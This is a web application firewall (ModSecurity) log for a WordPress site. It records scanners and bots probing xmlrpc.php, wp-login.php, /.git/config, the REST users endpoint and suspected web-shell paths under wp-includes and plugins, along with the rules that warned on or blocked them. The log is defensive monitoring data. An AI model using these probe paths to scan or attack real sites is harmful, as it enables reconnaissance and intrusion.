[Sun Feb 08 18:10:15.988633 2026] [:error] [pid 54609:tid 54617] [client 54.36.179.84:46068] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aYhhB6RRnRH9N52BW9KPYQAAAYY"]
[Sun Feb 08 18:10:17.991799 2026] [:error] [pid 54609:tid 54625] [client 54.36.179.84:44352] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYhhCaRRnRH9N52BW9KPagAAAY4"]
[Sun Feb 08 18:10:19.990974 2026] [:error] [pid 24421:tid 24449] [client 54.36.179.84:44364] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYhhC6p7cTzhX5M1IP8YBgAAABI"]
[Sun Feb 08 18:14:34.909233 2026] [:error] [pid 24423:tid 24495] [client 45.204.193.61:50904] [client 45.204.193.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.204.193.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhiCk3f9n1Y0TpV5YZURAAAAIo"]
[Sun Feb 08 19:17:36.867265 2026] [:error] [pid 24422:tid 24465] [client 4.204.8.222:40102] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.204.8.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhw0CNNjcLoSCLKhTd2xAAAAEc"]
[Sun Feb 08 19:40:35.229823 2026] [:error] [pid 58631:tid 58649] [client 103.90.234.204:33392] [client 103.90.234.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.234.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYh2M3-r9Xz6zi7KqKx1BgAAAdA"]
[Sun Feb 08 20:16:11.426885 2026] [:error] [pid 43900:tid 43918] [client 195.201.203.16:41804] [client 195.201.203.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYh-i-Wrhnpm_Csk3kmjdQAAAU8"]
[Sun Feb 08 20:16:13.189700 2026] [:error] [pid 43900:tid 43911] [client 195.201.203.16:41804] [client 195.201.203.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYh-jeWrhnpm_Csk3kmjdwAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 20:30:16.340180 2026] [:error] [pid 56906:tid 56915] [client 43.159.138.217:34390] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYiB2Pxl3WX27-WXfDjKBwAAAQc"]
[Sun Feb 08 22:10:33.043386 2026] [:error] [pid 6663:tid 6705] [client 192.64.84.210:41026] [client 192.64.84.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.64.84.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYiZWWGI3uHqWdeZM76McAAAAow"]
[Sun Feb 08 22:23:45.341200 2026] [:error] [pid 24421:tid 24431] [client 136.109.135.240:58852] [client 136.109.135.240] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYiccap7cTzhX5M1IP9EqQAAAAA"]
[Sun Feb 08 22:37:42.159921 2026] [:error] [pid 6723:tid 6794] [client 103.82.21.44:56072] [client 103.82.21.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.21.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYiftjkiu6gHwS33P0p6twAAA0k"]
[Sun Feb 08 22:46:59.966962 2026] [:error] [pid 6662:tid 6685] [client 159.65.130.72:21550] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYih49-oEK1ut16KiNIN8AAAAlM"]
[Sun Feb 08 22:53:30.164724 2026] [:error] [pid 43900:tid 43927] [client 104.197.89.220:58750] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijauWrhnpm_Csk3km6GAAAAVg"]
[Sun Feb 08 22:53:33.759204 2026] [:error] [pid 43900:tid 43919] [client 104.197.89.220:58750] [client 104.197.89.220] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYijbeWrhnpm_Csk3km6HQAAAVA"]
[Sun Feb 08 22:53:35.308770 2026] [:error] [pid 43900:tid 43921] [client 104.197.89.220:58750] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijb-Wrhnpm_Csk3km6JgAAAVI"]
[Sun Feb 08 22:53:37.265039 2026] [:error] [pid 9482:tid 9546] [client 104.197.89.220:50634] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijccTkGH_puEFp5zPFxwAAA8c"]
[Sun Feb 08 22:53:39.135367 2026] [:error] [pid 24530:tid 24556] [client 104.197.89.220:65021] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijc0azNRCs1GRWrh4vfQAAANg"]
[Sun Feb 08 22:53:41.268964 2026] [:error] [pid 24421:tid 24443] [client 104.197.89.220:49186] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijdap7cTzhX5M1IP9I8gAAAAw"]
[Sun Feb 08 22:53:43.312220 2026] [:error] [pid 6723:tid 6809] [client 104.197.89.220:56988] [client 104.197.89.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.89.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijdzkiu6gHwS33P0p9MQAAA1g"]
[Sun Feb 08 22:53:43.312384 2026] [:error] [pid 6723:tid 6809] [client 104.197.89.220:56988] [client 104.197.89.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.197.89.220, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYijdzkiu6gHwS33P0p9MQAAA1g"]
[Sun Feb 08 23:08:27.524491 2026] [:error] [pid 6662:tid 6678] [client 47.251.71.191:43940] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYim69-oEK1ut16KiNIQbgAAAkw"]
[Sun Feb 08 23:08:57.043479 2026] [:error] [pid 43900:tid 43916] [client 35.222.174.159:57932] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYinCeWrhnpm_Csk3km8UgAAAU0"]
[Sun Feb 08 23:09:02.820221 2026] [:error] [pid 6723:tid 6797] [client 165.22.223.230:46824] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYinDjkiu6gHwS33P0p_uQAAA0w"]
[Sun Feb 08 23:09:04.106601 2026] [:error] [pid 43900:tid 43911] [client 165.22.223.230:46826] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYinEOWrhnpm_Csk3km8VQAAAUg"]
[Sun Feb 08 23:09:21.496678 2026] [:error] [pid 43900:tid 43922] [client 165.22.223.230:52130] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYinIeWrhnpm_Csk3km8YgAAAVM"]
[Sun Feb 08 23:44:34.647802 2026] [:error] [pid 9422:tid 9426] [client 174.136.29.222:44472] [client 174.136.29.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.136.29.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYivYq9DqDJC68qBbyw0tgAAAYE"]
[Mon Feb 09 01:39:34.058980 2026] [:error] [pid 24421:tid 24447] [client 45.154.98.245:64202] [client 45.154.98.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aYjKVqp7cTzhX5M1IP9iBwAAABA"]
[Mon Feb 09 01:39:35.073192 2026] [:error] [pid 43900:tid 43917] [client 45.154.98.245:52749] [client 45.154.98.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aYjKV-Wrhnpm_Csk3knSRwAAAU4"]
[Mon Feb 09 01:39:35.827188 2026] [:error] [pid 6662:tid 6680] [client 45.154.98.245:52249] [client 45.154.98.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aYjKV9-oEK1ut16KiNIkuQAAAk4"]
[Mon Feb 09 01:39:39.187251 2026] [:error] [pid 6663:tid 6713] [client 45.154.98.245:59946] [client 45.154.98.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aYjKW2GI3uHqWdeZM76o6wAAApQ"]
[Mon Feb 09 02:41:08.899469 2026] [:error] [pid 9482:tid 9556] [client 37.187.149.168:57738] [client 37.187.149.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.187.149.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYjYxMTkGH_puEFp5zPi7AAAA9E"]
[Mon Feb 09 02:45:31.146509 2026] [:error] [pid 6630:tid 6653] [client 185.208.174.156:42148] [client 185.208.174.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.208.174.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjZy52jf0FBTEb_cWQmwAAAAhQ"]
[Mon Feb 09 02:45:33.248735 2026] [:error] [pid 6630:tid 6637] [client 185.208.174.156:42148] [client 185.208.174.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.208.174.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjZzZ2jf0FBTEb_cWQmwQAAAgQ"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 09 02:51:26.692572 2026] [:error] [pid 9422:tid 9427] [client 49.51.52.250:42948] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYjbLq9DqDJC68qBbyxijgAAAYI"]
[Mon Feb 09 03:13:19.385427 2026] [:error] [pid 6630:tid 6644] [client 130.61.174.112:37126] [client 130.61.174.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.61.174.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYjgT52jf0FBTEb_cWQrZgAAAgs"]
[Mon Feb 09 03:13:31.538123 2026] [:error] [pid 6663:tid 6715] [client 91.239.146.172:53855] [client 91.239.146.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.239.146.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYjgW2GI3uHqWdeZM76_WgAAApY"]
[Mon Feb 09 03:14:10.618321 2026] [:error] [pid 24421:tid 24439] [client 129.226.82.190:42938] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYjggqp7cTzhX5M1IP9zBQAAAAg"]
[Mon Feb 09 03:25:09.407013 2026] [:error] [pid 6662:tid 6679] [client 211.47.74.19:47145] [client 211.47.74.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.47.74.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjjFd-oEK1ut16KiNI2wwAAAk0"]
[Mon Feb 09 03:25:25.075681 2026] [:error] [pid 43900:tid 43914] [client 211.47.74.19:60731] [client 211.47.74.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.47.74.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjjJeWrhnpm_Csk3knwLwAAAUs"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 09 04:19:07.896025 2026] [:error] [pid 18303:tid 18324] [client 211.47.74.19:64212] [client 211.47.74.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.47.74.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjvu0Y7TEaZkFrGG4mr7QAAARM"]
[Mon Feb 09 04:19:24.794342 2026] [:error] [pid 47939:tid 48014] [client 211.47.74.19:52689] [client 211.47.74.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.47.74.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjvzNkpZei8M7cJ2z0iQgAAAIg"]
[Mon Feb 09 04:19:29.945100 2026] [:error] [pid 47939:tid 48025] [client 211.47.74.19:52689] [client 211.47.74.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.47.74.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYjv0dkpZei8M7cJ2z0iRAAAAJM"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 09 04:32:39.684933 2026] [:error] [pid 48044:tid 48052] [client 124.156.225.181:50368] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYjy55vmvsMP5E03sZKvKgAAAMY"]
[Mon Feb 09 04:52:09.238740 2026] [:error] [pid 47937:tid 47965] [client 172.96.161.16:46354] [client 172.96.161.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.96.161.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYj3ec4Fd42MP2DhNrUPOgAAABM"]
[Mon Feb 09 04:52:11.055724 2026] [:error] [pid 47937:tid 47970] [client 172.96.161.16:46354] [client 172.96.161.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.96.161.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYj3e84Fd42MP2DhNrUPPwAAABg"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 09 05:40:04.985486 2026] [:error] [pid 47937:tid 47958] [client 34.82.223.73:50176] [client 34.82.223.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYkCtM4Fd42MP2DhNrUiPgAAAAw"]
[Mon Feb 09 05:40:05.782292 2026] [:error] [pid 47939:tid 48029] [client 34.82.223.73:53708] [client 34.82.223.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYkCtdkpZei8M7cJ2z1BLwAAAJc"]
[Mon Feb 09 05:46:47.378125 2026] [:error] [pid 47937:tid 47959] [client 195.178.110.223:48530] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYkER84Fd42MP2DhNrUmHwAAAA0"]
[Mon Feb 09 05:59:31.077820 2026] [:error] [pid 47939:tid 48007] [client 159.198.45.42:53318] [client 159.198.45.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.45.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkHQ9kpZei8M7cJ2z1JYAAAAIE"]
[Mon Feb 09 06:01:50.091924 2026] [:error] [pid 47937:tid 47958] [client 104.248.177.212:39042] [client 104.248.177.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.177.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkHzs4Fd42MP2DhNrUragAAAAw"]
[Mon Feb 09 06:56:48.079642 2026] [:error] [pid 48044:tid 48059] [client 195.178.110.223:38848] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aYkUsJvmvsMP5E03sZLwHwAAAM0"]
[Mon Feb 09 07:17:46.790489 2026] [:error] [pid 18303:tid 18326] [client 162.0.210.133:42522] [client 162.0.210.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.210.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYkZmkY7TEaZkFrGG4kJwQAAARU"]
[Mon Feb 09 07:22:24.496614 2026] [:error] [pid 60678:tid 60726] [client 20.48.253.154:39050] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYkasO8Gd_fDFrcNu4MkpwAAAwI"]
[Mon Feb 09 07:22:24.909188 2026] [:error] [pid 60589:tid 60604] [client 20.48.253.154:39063] [client 20.48.253.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYkasDIJyhPWC0JyMLzKTAAAAc0"]
